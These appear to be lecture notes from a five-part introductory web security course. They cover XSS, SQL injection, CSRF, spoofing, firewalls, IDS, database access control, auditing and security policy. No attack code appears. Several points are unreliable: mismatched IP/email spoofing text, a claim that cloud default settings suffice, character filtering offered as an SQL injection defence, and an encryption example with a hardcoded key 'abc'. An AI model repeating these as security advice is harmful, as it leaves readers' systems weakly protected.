Table of Contents

Lecture 1

Web Security Basics

- ϖ What is Web ? ϖ The Web is the common name for the World Wide Web, a subset of the Internet consisting of the (server) pages that can be accessed by a Web browser (clients).
    - ϖ Web is not internet. ϖ Internet is the global network of servers that makes the information sharing that happens over the Web possible. ϖ So, although the Web does make up a large portion of the Internet, but they are not one and same
- ϖ What is Security ? ϖ The state of being free from danger or threat.
- ϖ What about Basics? ϖ It is a multidisciplinary course as because web security concerns with security of different issues like: application development, managements and policies, database, web server, OS, computer networks and protocols, cryptography, etc. ϖ We'll try to cover basic level of security concerns so that (as a web developer) you can protect your application from different types of threats.

What is web security?

Web security is a branch of information and cyber security that deals with security of websites, web applications and web services.

- ϖ Websites: collection of related web pages that accessed via internet through a browser. ϖ Primarily informational.
- ϖ Web application: any software that runs in a web browser. It is created in a browser-supported programming language such as HTML, JS… ϖ Primarily allow user to perform actions.
- ϖ Web services: are client and server applications or cloud technology that communicate or operate over the World Wide Web's (WWW) using HyperText Transfer Protocol (HTTP).
    - ϖ XML-centered data exchange systems that use the internet for A2A (application-toapplication) communication and interfacing.
    - ϖ Applications can be written in various languages and are still able to communicate by exchanging data with one another via a web service between clients and servers.

Web: how does it work?

The Web is also known as a client-server system. Your computer is the client and the remote computers that store electronic files are the servers.

ϖ The Web physically consists of the following components

- ϖ Your personal computer or a device: This is the PC at which you sit to see the web.
- ϖ A Web browser: A software installed on your PC which helps you to browse the Web pages.
- ϖ An internet connection: This is provided by an ISP and connects you to the internet to reach to any Website.
- ϖ A Web server: This is the computer on which a website is hosted.
- ϖ Routers and Switches: They are the combination of software and hardware who take your request and pass to appropriate Web server.

How a Web client-server interaction happens:

- ϖ A user enters a URL into a browser. This request is passed to a domain name server (DNS).
- ϖ The DNS returns an IP address for the server that hosts the Website.
- ϖ The browser requests the page from the Web server using the IP address specified by the DNS.
- ϖ The Web server returns the page to the IP address specified by the browser requesting the page.
- ϖ The browser collects all the information and displays to your computer in the form of Web page.

Shortly: Your browser first resolves the server name via DNS to an IP. Then it opens a TCP connection to the webserver and tries to communicate via HTTP.

Information and cyber security

Information security: Refers to the processes and methodologies designed and implemented to protect print, electronic, or any other form of confidential, private and sensitive information from unauthorized access or use.

Cyber security: Refers to the processes and methodologies designed and implemented to protect systems, networks and programs from digital attacks. • Cyber security is about securing things that are vulnerable through ICT. • Where data is stored and technologies used to secure the data.

Web security:

- Web application with database. ◊ Information (digital) + programs •
- Client i.e. browser and server i.e. webserver ◊ computer systems
- You need network between client server i.e. need internet ◊ network and internet security…

ϖWeb security is the subset of Information and cyber security.

Basic security terms

- Authentication: is a process of verifying a correct user; verify the user provided the correct credentials. ϖ Verifying who you are? i.e. confirming your own identity.
- ϖ Authorization: is a process of giving some permission to do something. It confirms the users to access to the resources. ϖ Verifying what you have access to i.e. granting access to the system.
- ϖ Confidentiality: refers to the concealment of resources or information. Confirms data/information privacy.
- ϖ Integrity: is the assurance that resources are accessible by only authorized users to update. ϖ i.e. it assures that resource is real, accurate and safeguarded from unauthorized user modification.
- ϖ Availability: ability to use the resource by authentic users when needed.

ϖ CIA triad: refers to ◊ Confidentiality – Integrity - Availability

Common Web Security Vulnerabilities

Cross site scripting (XSS):

- ϖ Cross-site scripting (XSS) targets an web application's users by injecting code, usually a client-side script such as JavaScript, into a web application's output.
- ϖ Enables attackers to inject client-side scripts into web pages viewed by other users.
- ϖ XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface websites, or redirect the user to malicious sites.

SQL Injection: (Untrusted data is sent to an interpreter as part of a command or query.)

- ϖ An attacker attempts to use application code to access or corrupt database content.
- ϖ If successful, this allows the attacker to create, read, update, alter, or delete data stored in the back-end database.
- ϖ SQL injection is one of the most prevalent types of web application security vulnerabilities

Security Misconfiguration: (incorrectly assembling the safeguards for a web application.)

- ϖ These misconfigurations typically occur when holes are left in the security framework of an application by systems administrators, DBAs or developers.
- ϖ A secure configuration must be defined and deployed for the application, frameworks, application server, web server, database server, and platform.
- ϖ Security misconfiguration gives hackers access to private data or features and can result in a complete system compromise

Cross Site Request Forgery (CSRF): ref:https://portswigger.net/web-security/csrf

- ϖ Forces an end user to execute unwanted actions on a web application in which they're currently authenticated. i.e. need authenticated session. ϖ Also known as one-click attack or session riding.
- ϖ A CSRF attack exploits a vulnerability in a Web application if it cannot differentiate between a request generated by an individual user and a request generated by a user without their consent.
- ϖ By social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing.
    - ϖ If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth.
    - ϖ If the victim is an administrative account, CSRF can compromise the entire web application.

XSS VS CSRF: XSS allows an attacker to execute arbitrary JavaScript within the browser of a victim user. CSRF allows an attacker to induce a victim user to perform actions that they do not intend to and needs authentic session.

Insecure Direct Object References:

- ϖ When an application provides direct access to objects based on usersupplied input. As a result of this vulnerability, attackers can bypass authorization and access resources in the system directly.
- ϖ When an application exposes a reference to one of these objects in a URL, hackers can manipulate it to gain access to a user's personal data.
- ϖ Sample request:
    - ϖ http://foo.bar/somepage?invoice=12345
    - ϖ In this case, the value of the invoice parameter is used as an index in an invoices table in the database.
    - ϖ The application takes the value of this parameter and uses it in a query to the database.
    - ϖ The application then returns the invoice information to the use

Conclusion

The majority of web application attacks occur through crosssite scripting (XSS) and SQL injection attacks which typically result from flawed coding.

Recommendation: Secure web application development should be enhanced by applying security checkpoints and techniques at early stages of development as well as throughout the software development lifecycle. Special emphasis should be applied to the coding phase of development.

Lecture 2

Spoofing

Spoofing attack is a situation in which a person or program successfully identifies as another by falsifying data, to gain an illegitimate/unauthorized advantage.

- υ It is the act of disguising a communication from an unknown source as being from a known, trusted source.
    - υ A scammer is disguised as a trusted source to gain access to important data or information.
- υ Spoofing can happen through websites, emails, phone calls, texts, IP addresses and servers

IP address spoofing ：

- Email spoofing is the forgery (illegal copy) of an email header so that the message appears to have originated from someone or somewhere other than the actual source.
- υ Email spoofing is a technique used in spam and phishing attacks to trick users into thinking a message came from a person or entity they either know or can trust.

Protection: (need network protection)

- υ Use authentication based on key (i.e. session key) exchange between the machines on your network.
- υ Use an access control list to deny private IP addresses on your downstream interface.
- Implement filtering of both inbound and outbound traffic.
- υ Email authentication: SPF(sender policy framework), DKIM etc.

phishing

Phishing:

- υ Phishing is a type of social engineering attack often used to steal user data.
- υ Hacker attempts to steal sensitive information like bank account, login IDs, Social Security Number, etc.
- υ Proceeds by copy-cat website or email and asked to update information. υ Mostly email spoofing is used in fishing.

Protection: (do not take bait!)

- υ Install an antivirus solution (say Comodo), schedule signature updates, and monitor the antivirus status on all equipment.
- υ Deploy a web filter to block malicious websites.

- υ Encrypt all sensitive company information.
- υ Educate people and using email authentication to avoid phishing…

Danial of Service

Denial of Service (DoS): attacks typically flood servers, systems or networks with traffic in order to overwhelm the victim resources and make it difficult or impossible for legitimate users to use them. υ It attempts to prevent regular usage of a service, resource, etc. For example exhausting bandwidth, server memory.

Protection: While an attack that crashes a server can often be dealt with successfully by simply rebooting the system.

Rootkit

Rootkit: a suspicious program is installed on a computer. This hidden program provides the hacker with a complete access to the computer.

Protection: υ Need to detect Rootkit first by software tools like RootkitRevealer then, remove it from your system.

Man in the middle

Man-In-The-Middle:

- is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other.
- υ Bob and Alice are in a communication session. The hacker introduces himself into the two parties, acts as one of the communicating parties.

Protection: υ By using VPN, proxy server with data encryption, and secure shell tunneling.

Backdoor

Backdoor: (ref: https://www.2-spyware.com/backdoors-removal)

- υ A backdoor is a malicious computer program that is used to provide the attacker with unauthorized remote access to a compromised PC system by exploiting security vulnerabilities.
- υ A Backdoor works in the background and hides from the user. It is very similar to other malware viruses and, therefore, it is quite difficult to detect.

Protection:

- υ The best method to prevent backdoor attack is to use anti-spy and adware programs.
- υ You need also to keep the operating systems and applications up to date with patches and service packs because new holes are discovered frequently.

ARP Cache Poisoning

(Address resolution protocol) ARP Cache Poisoning:

υ It is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. υ This results in the linking of an attacker's Media Access Control address with the IP address of a legitimate machine on the network.

υ ARP spoofing may allow an attacker to intercept data frames on a network, modify the traffic, or stop all traffic.

υ Protection: To prevent ARP cache poisoning attack in your local area network, you need to add a static ARP

Social Engineering

Social Engineering:

- υ Methods or practices used to lure people, and to make them reveal confidential information.
- υ Hackers collect information on the target, build relationship, and manipulate the target to get sensitive information.
- υ Like the real-world Trojan horse that uses physical media and relies on the curiosity or greed of the victim. Bogus Email from a Friend;

Protection: υ IT teams should educate employees on social engineering tactics. υ USE 2-factor authentication in order to make it more difficult for hackers to enter your organization.

Eavesdropping

Eavesdropping or sniffing attack or snooping υ Is the unauthorized real-time interception of a private communication, such as a phone call, instant message, video conference or fax transmission.

υ An eavesdropping attack occurs when a hacker intercepts, deletes, or modifies data that is transmitted between two devices. υ Normally, attacker connects to the network, captures packets, analyze packets. Attacker can steal passwords.

υ Protection:

- υ Network-based eavesdropping attacks can be protected by using encryption.
- υ Ignore web based connection between client and server, rather use HTTPS-encrypted connections.

Intruder types

A person who attempts to gain unauthorized access to a system, to damage that system, or to disturb data on that system.

Internal or external

Defense in depth

Defense in depth is an information assurance (IA) concept in which multiple layers of security controls (defense) are placed throughout an information technology (IT) system. (IA pillars: availability, integrity, authentication, confidentiality, and non-repudiation)

- υ Edge protection: deploy firewalls to filter suspicious packets, deny or allow access to the network, or inspect packets.
- υ Intrusion Detection System: monitor activity, collect data, helps detect threats and attacks. (look for unusual activity)
- υ Content filtering software: filter communication to keep organization safe from virus, spams, etc. υ Encryption: encrypt data to secure communications.
- υ Security policy: educate, inform organization users on the obligation to protect information.
- υ Other measures: Virtual Private Network, strong password policy, etc.

Security Controls (defense) types

- υ Management controls: aspects of security controls and issues that organization's management needs to address. υ Examples: Security policy, Risk assessment.
- υ Operational controls: ensure proper use and implementation of security policies. They are used to correct operational deficiencies and to improve the security of systems. υ Examples: Awareness training, Incident response, Physical security.
- υ Technical controls: these include measures and mechanisms used to secure sensitive data, information, and IT systems functions.
    - υ The security controls that are primarily implemented and executed by the system through the system's hardware, software, or firmware.
    - υ Examples: Access control, Identification and authentication, Audit.

Access control

Access control is a security technique that regulates who or what can view or use resources in a computing environment.

- υ Physical access control limits access to campuses, buildings, rooms and physical IT assets.
- υ Logical access control limits connections to computer networks, system files and data.

Access control List: lists of instructions you apply to a router's interface. such as source address, destination address, port number.

Access control matrix

A formal security model of protection state in computer systems, that characterizes the rights of each subject with respect to every object in the system.

- υ An access control matrix is a table defining what access permissions exist between specific subjects and objects.

- υ A matrix is a data structure that acts as a table lookup for the operating system

Authentication flaws

- These types of weaknesses can allow an attacker to either capture or bypass the authentication methods that are used by a web application.
- υ This flaw is caused when account credentials and session tokens are not properly protected.
- υ Permits automated attacks such as credential stuffing, where the attacker has a list of valid usernames and passwords.

Parameter Tampering

Parameter tampering is a form of Web-based attack in which certain parameters in the Uniform Resource Locator (URL) or Web page form field data entered by a user are changed without that user's authorization.

υ Hacker can intercept your email and change email address ! Or content of the emai

Concurrency flaws

Web applications can handle many HTTP requests simultaneously.

υ Developers often use variables that are not thread safe ◊ flaws

υ Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads.

υ Protection: υ Need proper synchronization to avoid race conditions.

Penetration test or pentest

- υ To find security vulnerabilities in an application.
- υ It's the process to identify security vulnerabilities in an application by evaluating the system or network with various malicious techniques.
- υ The weak points of a system are exploited in this process through an authorized simulated attack.
- υ The purpose of this test is to secure important data from outsiders like hackers who can have unauthorized access to the system.
- υ A penetration tester is also referred to as an ethical hacker.

Testing tool : ZAP proxy

- Zed Attack Proxy (ZAP) is a free, open-source penetration testing tool being maintained under the umbrella of the Open Web Application Security Project (OWASP).

- υ ZAP is designed specifically for testing web applications and is both flexible and extensible.
- υ ZAP is known as a "man-in-the-middle proxy." It stands between the tester's browser and the web application so that it can intercept and inspect messages sent between browser and web application, modify the contents if needed, and then forward those packets on to the destination.
- υ It can be used as a stand-alone application, and as a daemon process.

Testing tool : security testing

Security Testing is a process which checks whether the confidential data stays confidential or not and the users can perform only those tasks that they are authorized to perform.

Recommended some security testing tools

- υ Acunetix: is an end-to-end web application security scanner. This will give you a 360-degree view of the security of your organization. It is capable of detecting 6500 types of vulnerabilities like SQL injections, XSS, and Weak Passwords, etc.
- υ Netsparker: is a platform for all web application security testing requirements. This web vulnerability scanning solution has capabilities of vulnerability scanning, vulnerability assessment, and vulnerability management.

Lecture 3

Web Server Security

What: Web Server is a program that serves Web pages to Web browsers using the Hyper Text Transfer Protocol (HTTP). It is a computer host configured and connected to Internet, for serving web pages on request.

Example of web servers: Apache HTTP server, Apache Tomcat, Microsoft Internet Information Server (IIS) etc.

Web Server: Security threats

- Unauthorized access: Content theft, Data manipulation.
- Improper usage: Hosting improper/malicious contents (e.g phising).
- Denial of Service: not able to serve…
- Physical Threats: stealing or destroying machine!

Web Server: Common Security Flaws

- Insufficient network boundary (gateways, routers, guards) security controls.
- Flaws or bugs in web hosting software i.e. OS
- Insecure design and coding of hosted application.
- Weak password.
- Social engineering.
- Lack of operational control

Web server security: Defense in depth

Defense in depth is defined as the practice of layering defenses to provide added protection.

These multiple layers prevent direct attacks against important systems like server through computer networks ：

- Network Defense: Packet filtering, State-full Inspection, IDS.
- Host Defense: Server Hardening, host IDS.
- Application Defense: Internet Information Server, Apache security, antivirus, Secure coding practice.

Web Server Security: Network Security

The network architecture should be designed to create different security zones/segments for external users, internal users and the servers.

The Web server should be placed in the secure Server Security segment, called screened subnet, isolated from the public network and organization's internal network.

A Web Hosting Network should have at least three segments:

- Internet Segment.
- Public server segment (Web, Mail, DNS servers).
- Internal Segment.

A firewall should be used to restrict traffic between the public network and the Web server, and in between the Web server and internal networks.

Servers providing supporting services to the Web Server (like Database Server) should be placed on another subnet isolated from public and internal networks.

In a multi-layer architecture, the traffic to this subnet is filtered using another firewall.

Network Security: Access control (Routers)

The primary access control devices are routers and firewalls. In practice, routers and firewalls can often be combined into a single device, called firewall routers, offer the advantages of both routing and network security in one solution.

Routers:

- υ The router is the first line of defense to the network of an organization and hence the router itself should be secured.
- υ It connects multiple networks together and forward data packets between them. Also finds best path for data packets.
- In the secure configuration of a router, the following should be considered:
    - υ Deploy proper access management and preferably disable remote administration.
    - υ Enable secret password

Network Security: Access control (Firewall)

Firewall:

What it is: A firewall is a combination of hardware and software, located at a network gateway, protecting the resources of a network from users of other networks.

- Network security: A firewall focuses on network security by inspecting and controlling network traffic based on predefined security rules and policies.
- Traffic Filtering: Firewalls examine packets based on various criteria, such as source/destination IP addresses, ports, and protocols. They determine whether to allow or block packets based on these criteria.
- Access Control: Firewalls enforce access control policies, allowing administrators to define rules that permit or deny specific types of traffic. This helps protect the network from unauthorized access and potential threats.

Firewall Implementation:

A Firewall should be appropriately implemented to separate the networks into different network segments. The following should be considered during the implementation of a firewall system:

- υ If a software firewall is used, the host on which the Firewall is installed should be secured.
- υ The firewall should be configured for full logging and a mechanism for generating alerts on suspicious activity.
- υ A firewall is only effective when proper rules (local security policy) are applied. Rules are applied to protect the organizational network and servers deployed behind the firewall.
- υ FireWall Example: Checkpoint, NetScreen, CISCO PIX, Microsoft ISA Server etc.

Network Security: Intrusion Detection Systems (IDS)

What: An intrusion detection system is a device or software application that monitors a network or systems for malicious activity or policy violations. υ Any intrusion activity or violation is typically reported to an administrator by real-time alert. υ It analyzes the network data stream and identifies attempts to hack or break into a computer system. υ It identifies attacks through various methods including anomaly detection and signature matching and can generate an alarm. υ The IDS should be updated with the latest signatures. υ IDS should be deployed with network sensors in all segments of the network. υ Host IDS should be deployed on all critical servers including the web server.

IDS Types:

- υ Network IDS: deployed at a strategic point or points within the network υ Able to monitor inbound and outbound traffic to and from all the devices on the network.

- υ Host IDS: run on all computers or devices in the network with direct access to both the internet and the enterprise internal network. υ to detect anomalous network packets that originate from inside the organization or malicious traffic that a NIDS has failed to detect.
- υ Signature based IDS: monitor all the packets traversing the network and compares them against a database of signatures or attributes of known malicious threats, much like antivirus software.

Antivirus and SPAM prevention

- υ An anti-virus package should be installed on the Web Server system, if available on that platform.
- υ All clients which access the web server for the purpose of administration and content management should use an antivirus package with latest signatures.
- υ All documents and files hosted on the web server should be uploaded only after being checked for virus and Trojans.
- υ If the Web Server has provisions for uploading of files from users, appropriate mechanism should be in place at the server side to ensure that the files are virus free.

Host Security

After network protection, it is first step in securing a Web server is to secure the underlying operating system.

In the securing of a Host, the following should be considered:

- υ Include specific security requirements when selecting the Operating system of the web server. Linux or windows???
- υ Support of security features on the platform like authentication, levels of access control, support for remote administration and logging.
- υ Minimize the Operating system with only essential services: remove all unnecessary operating system and network services and protocols.
- υ Keep operating systems and applications software up to date.
- υ Configure computers for user authentication and remove all unneeded users and groups.
- υ A strong password policy should be enforced.

Web Application Security

Secure Coding practices: υ Server-side applications are written in various programming languages. However, flaws in the scripts may allow attackers to penetrate a Web server.

The following are some of the common secure coding practices:

- Consider security implications before selecting the scripting technology such as Java servlets, javascripts, Vbscripts, php, Jsp etc.

- The code should use explicit path names when invoking external programs and not rely on the PATH environment value.
- Input data received through a web page form should be filtered for malicious input.
- Encryption mechanism should be deployed to encrypt passwords.

Injection flaws: υ Allow attackers to relay (or pass on) malicious code through an application to another system.

Example: SQL injection.

- υ SQL Injection is a trick to inject SQL script/command as an input through the web front-end.
- υ It is a particularly widespread and dangerous form of injection.
- υ The attacker must find a parameter that the web application passes through to a database

Avoiding SQL injection: υ To avoid SQL Injection, filter out characters like single quote, double quote, slash, back-slash, semicolon, extended characters like NULL, carry return, new line, etc, and reserved SQL keywords like 'Select', 'Delete', 'Union' etc. in all strings from: input from users, values from cookie.

Cross-site Scripting (XSS): Is an injection attack technique that forces a web site to echo attacker-supplied executable code, which loads in a user's browser.

υ Avoiding XSS: Flaws: If application uses input from a user within the output it generates without validating or encoding it.

υ Solution:

- υ Encode data on output.
- υ Validate input on arrival.

Common Ways to prevent SQL injection attacks in PHP

- Prepared Statements: υ Parameter values are combined with the compiled statement, not an SQL string.
- υ Escaping Strings: υ Escaping string helps in removing special characters for use in SQL statements.
- υ Using trim() and strip_tags():
    - υ Are the conventional ways to filtering your input. trim() is used for removing whitespaces from the beginning and end of a string.
    - υ strip_tags() is used for stripping HTML and PHP tags.
- υ Using PDO:

- υ PDO or PHP Data Objects are very useful – probably the most effective in preventing SQL Injection Attacks.
- υ PDO also uses prepared statements and binds values at runtime.

Web server Security: as an administrators

In securing a Web Server, administrators should take care of the following:

- υ Install only the required features of the Application Servers and remove default features not being used.
- υ Install the latest version of the web server software.
- υ Remove all files that are not part of the Web site.
- υ Check for security-related features like types of authentication, levels of access control, support for remote administration, and logging features.
- υ The configuration files of the Web Server should be readable by Web Server process but not writable.

Lecture 4

What is data, Information, Knowledge and Database

- υ Data: Data is the fact values or signal or symbol. Example: 15, years, John, black hair etc.
- υ Information: Processed data when Meaningful to users called information. Example: John is 15 years old and his hair is black.
- υ Knowledge: Knowledge is the combination of information, experience. Example: John is too young to get married.
- υ A database is a collection of information that is organized so that it can easily be accessed, managed, and updated.

Database Security

What: Database security concerns the use of a broad range of information security controls to protect databases against compromises of their CIA (confidentiality, integrity and availability).

A database is installed as a back-end server component to serve a web application through the use of query language i.e. SQL.

Database security should be in place to ensure data access only to authorized users and protect the data.

Two privileges in database:

- υ System privilege: for administrative actions like create database, table, trigger or view.
- υ Object privileges allow for the use of certain operations on database objects as authorized by another user. Examples: select, insert, update etc.

Common Vulnerabilities

- Design flaws and programming bugs in databases and the associated programs and systems, creating various security vulnerabilities. υ Example : SQL Injection.
- Privileges abuse: Privilege Abuse comes in two flavors: abuse of legitimate privileges and abuse of excessive privileges.
  - Unintended activity or misuse by authorized database users, database administrators, or network/systems managers. υ Cause: lack of knowledge, or intentionally less salary or anger with boss !
  - More privileges than necessary to a person is some cases harmful.
- Physical damage to database servers caused by computer room fires or floods, overheating, lightning, electronic breakdowns/equipment failures etc.
- Data corruption and/or loss caused by the entry of invalid input data or commands, mistakes in database or system administration processes, criminal damage etc.
- Weak audit trail: weak security-relevant chronological record can not identify any type of privilege abuse.

DB security controls

Types:

- Access control: is responsible to control the rules determined by security policies for all direct accesses to the DB system.
- Row level security: enables you to store data for many users in a single database and table, while at the same time restricting row-level access based on a user's identity, role, or execution.
- Security model: security system preserves the integrity of an operational system by enforcing a security policy defined by a security model.
- Auditing: monitors the actions of database users to ensure the authorized access to the database.
- Encryption: a process that uses an algorithm to transform data stored in a database into “cipher text”.

Access control:

Data is accessed through application, terminal, etc.

Users are assigned privileges to database objects (i.e. data, programs, tables).

Access control Types:

- Mandatory Access Control(MAC): implemented at the system level
  - in which only the administrator manages the access controls and defines the usage and access policy, which cannot be modified by users.
  - the policy will indicate who has access to which programs and files. MAC is most often used in systems where priority is placed on confidentiality.

- Discretionary Access Control(DAC): implemented at the user level υ DAC allows each user to control access to their own data.
- Role Based Access Control (RBAC): restrict access based on roles
    - takes more of a real world approach to structuring access control.
    - Roles are created for the various job functions in an organization and users are assigned roles based on their responsibilities and qualifications.

Role based Access control in MySql

Steps/process:

- Identify roles,
- identify appropriate access,
- grant appropriate rights / privileges.

Grant select, insert ON Employees TO 'Mohammad'@'localhost'

Revoke select ON Employees FROM 'Mohammad'@'localhost'

Row Level Security

- Control the access to the rows in a database table.
- It is based on the content of the data.

CREATE VIEW [View Name] AS SELECT * FROM Table WHERE [Attribute] = [Restricting Value]

Security Model

What:

- Security models are formal descriptions of security policies.
    - Security system preserves the integrity of an operational system by enforcing a security policy defined by a security model.
    - Security models are useful tools for evaluating and comparing security policies.
- System integrity refers both to data integrity (correct and accurate data) and system is in operation and works correctly.
- System integrity is achieved by control and management of subjects (users, processes) to objects (data, program).
    - This control and management are governed by set of rules and objectives called security policy.

Security Requirements→ Security Policies→ Security Model→System Integrity

Security model: terms

- Subject – entities that request access to objects.
- Objects – entities whose accesses are controlled by the security system.
- Access modes - type of operation performed by subject on object. Say read, write, update etc.

- υ Policies - the required security rules.
- υ Authorization - specification of access modes for each subject on each object.

Security model : types

- υ Access Matrix Model: υ Formal security model of protection state in computer systems, that characterizes the rights of each subject with respect to every object in the system.
  - Uses a matrix to represent two main entities for security implementation.
  - [Database objects] are represented in the columns of this matrix.
  - [subjects] are represented in rows: e.g. users, roles, privileges, modules, forms, etc.
  - The intersection of a row and a column is an authorization cell. υIt represents the type of access mode that is granted to the subject.
- υ Access Modes Model: υThis model is based on the Take-Grant model. υA permission defines the ownership of a file or database and the access of all users to that file.
  - This model is based on the Take-Grant model.
  - υ The model uses the subject and object entities as the main security entities, and it uses access modes to indicate the tasks that the subject is allowed to perform on the objects.
  - υ Example of access modes: read, update, create.

Database audit

What: Auditing is the monitoring and recording of selected user database actions. υ It can be based on individual actions, such as the type of SQL statement executed, or on combinations of factors that can include user name, application, time, and so on.

Why:

- υ Discourage users (or others) from inappropriate actions…
- υ Investigate suspicious activity.
- υ Monitor and gather data about specific database activities.
- υ Detect problems with an authorization or access control implementation.

Types:

- υ Statement auditing: Enables you to audit SQL statements by type of statement.
  - AUDIT TABLE tracks statements regardless of the table on which they are issued.
  - Can audit selected users or every user in the database.
- υ Privilege auditing: to audit the use of system privileges that enable corresponding actions.
  - AUDIT CREATE TABLE
  - Privilege auditing is more focused than statement auditing, which audits only a particular type of action.
  - Can audit selected users or every user in the database

- υ Schema object auditing: Enables you to audit specific statements on a particular schema object.
    - AUDIT SELECT ON Employees.
    - auditing only a single specified type of statement (such as SELECT) on a specified schema object table Employees.
- υ Fine grained auditing: Enables you to audit at the most granular level, data access and actions based on content, using any Boolean measure.
    - VALUE > 50000
    - Enables auditing based on access to or changes in a column.

Database Encryption

- Often implemented on sensitive data.
- Ensures integrity and confidentiality of data.
- Mostly implemented on data at rest.
- Data in transit can be encrypted (application /network).
- Implemented at different levels: entire database, row, column, attribute.

Database Encryption: Basic Implementation

- create database mohammad;
- create table mohammad.myPassword (userid varchar(10), pass varbinary(256));
- insert into mohammad.mypassword values ('nazrul', AES_ENCRYPT('nazrul‘
- , 'abc‘));
- select userid, cast(AES_DECRYPT(pass, 'abc‘) as char (50)) from mohammad.mypassword;

Guide to Securing Your Websites and Servers

- υ Always store your data with high levels of encryption υ The highest level of encryption currently available is AES 256-bit encryption.
- υ Create passwords that are difficult to crack υ Passwords should always be longer than eight characters and include a variety of numbers and special symbols.
- υ Employ two-factor authentication υ This generally requires you to have a second device that will give you a one-time, temporary code that helps limit access to the account.
- υ Patch early and patch often. υ Regularly deploying software patches, to close up potential attack channels is one of the best ways to keep both your hardware and software safe.
- υ Securing your cloud server
    - υdefault settings are enough to keep your data secure. υ
    - Research the vulnerabilities and security procedures of the cloud server you’re using. If you choose certain Amazon servers, for example, you need to be aware of whether or not access restrictions are in place before uploading your data.
- υ Securing your servers:

- Sanitize the input in your application
- Developers should be knowledgeable about the different kinds of hacking techniques that are used in their specialized areas.
- Use HTTPS.
- Keep your operating system up to date
- Check your server to see if there are any openings that shouldn't be there. Shodan.io is one website that can help you do this.
- Only communicate with the server with encrypted protocols.
- Employ WAF (Web Application Firewall), IDS (Intrusion Detection System), and IPS (Intrusion Protection System) for a multi-layered approach to security.
- Whitelist admin panels to specific IP addresses.
- Test your website to see if any sensitive data is revealed through the most common attack methods

υ Use proper access rules.
- Give the fewest privileges possible
- Deny undefined users and anonymous accounts.
- Enforce unsuccessful login limits.

υ Never leave a system open to the internet without requiring authorization.

υ Use a VPN:
- A good VPN will use its own private servers, so your data isn't exposed to public channels that can be easily exploited. They also encrypt any data traveling between your device and a server.

υ Research potential vulnerabilities on your own
- The best way to secure your system is to be aware of the potential threats to your security, even when they may not seem immediately related to your system.

Top 8 Database Security Best Practices:

υ Ensure that the physical databases are secure.

υ Separate database servers

υ Install a proxy server that provides HTTPS access

υ Implement an encryption protocol

υ Ensure your database is regularly backed up

υ Update applications on a regular basis

υ Authenticate users strongly

υ Assign all users security roles

Lecture 5

Information Security

What: Information Security refers to the processes and methodologies which are designed and implemented to protect any form of information or data from unauthorized access, use, misuse, disclosure, destruction, modification, or disruption.

Security Models of DB

Access matrix model and access mode model.

Security models are formal descriptions of security policies.

Information Security Policy (ISP)

What: A set of rules, policies and procedures designed to ensure all end users and networks within an organization meet minimum IT security and data protection security requirements. A guideline that dictate how information technology (IT) assets and resources should be used, managed, and protected. Information security policies provide a framework for best practice that can be followed by all employees.

Why:

- Protect people and information.
- Set the rules for expected behavior by any type of users, system administrators, or management for protecting technology and information assets.
- Authorize security personnel to monitor, probe, and investigate.
- Define and authorize the consequences of violation.

A Good Security Policy:

- A good security policy should be a useful tool for protecting the security of the Enterprise.
- It should be clearly defined the areas of responsibility for the users, administrators, and management.
- It should be enforceable.

Basic components of a good security policy:

- Access policy which defines access rights and privileges to protect assets from loss or disclosure.
- Privacy policy which defines reasonable expectation of privacy.
- Authentication policy which establishes trust through an effective password policy.
- Availability statement which sets users expectations for the availability of the resources.

Development: Security plan

What: A security plan is at a higher level than more specific security policies. Your Information Security Plan should include all required actions for organization-wide implementation of your Information Security Policy.

A Security Plan should define:

- υ the list of services that will be provided. Say, AC's IT services
- υ which areas of the organization should provide the services.
- υ who will have access to those services.
- υ how access will be provided.

Seven elements of highly effective security policies:

Your security policy document outlines what you plan to protect and how you plan to do so. υ The first step in any project to prepare a security policy document is to determine what elements to include in your policy:

1. Security Accountability: Stipulate the security roles and responsibilities of general users, key staff, and management.
    a. υ By classifying the data, you can then make stipulations as to what types of employees are responsible for, and allowed to modify or distribute, particular classes of data
2. Network service policies: Generate policies for secure remote access, IP address management and configuration, router and switch security procedures.
3. System policies: Define the host security configuration for all mission-critical operating systems and servers.
4. Physical security: Define how buildings and card-key readers should be secured, where internal cameras should be installed. Exam: Retina Scan Security System, etc
5. Incident handling and response: Specify what procedures to follow in the event of a security breach or incident.
6. Behavior and acceptable use policies: Stipulate what type of behavior is expected of employees and your management team.
    a. Employees should be required to read and sign the acceptable use policy so that management has the option to take disciplinary action in the event that the policy is violated.
7. Security training: Define a security training plan for key staff who manage day-to-day security operations.

Security Policy Template for Web Applications

- υ Access and control mechanisms υ In your security policy, there should be both role based and user access controls.

- υ Delineation of responsibilities υ Make sure that there is a clear description of responsibilities for every user at every possible step in your web application security policy.
- υ Security resources and tools:
    - o υ A well-defined policy template includes the use of encryption algorithm for web applications.
    - o A web application firewall will safeguard enterprise applications and websites from any cyber threat.
- υ Disaster recovery and emergency mechanisms: υ Disaster recovery solutions are required for immediate response to high-risk situations.
- υ Other measures: (application with database) υ The database inputs should be sanitized in general, and there should be strict rules for input validation. Specify it in the policy too

Who to involve in security policy?

- υ Security Administrator.
- υ IT Technical staff.
- υ Security Incident Response Team.
- υ Human Resource.
- υ Representatives of the user groups affected by the policies.

Acceptable Use Policy (AUP)

What:

- υ is a document stipulating constraints that a user must agree to for access to a corporate network or the Internet or to use any IT devices say, laptop, wifi access, etc.
- υ Many businesses and educational facilities require that employees or students sign an acceptable use policy before being granted a network ID.
- υ Committed to protecting Company's employees, partners and the company from illegal or damaging actions by individuals, either knowingly or unknowingly.

Sample structure:

- υ Purpose: Specify why this document and mention it is important for you to behave in a responsible, ethical, and legal manner.
- υ Scope: This policy applies to all users of computing resources . . . υ Your Rights and Responsibilities: As a member of community what are your rights. Also what is your responsibility (say, to know the regulations and policies of the IT/electronics/technology resources.)
- υ Acceptable use: list of acceptable uses.

- Fair share of resources: set limits on an individual's use of a resource through quotas, time limits, and other mechanisms to ensure that these resources can be used by anyone who needs them.
- Adherence with Federal, State, and Local Laws: Confirm that user must abide by all federal, state, and local laws. (Also copyright laws and licenses)
- Other Inappropriate Activities: Say, not political use or no personal economic gain.
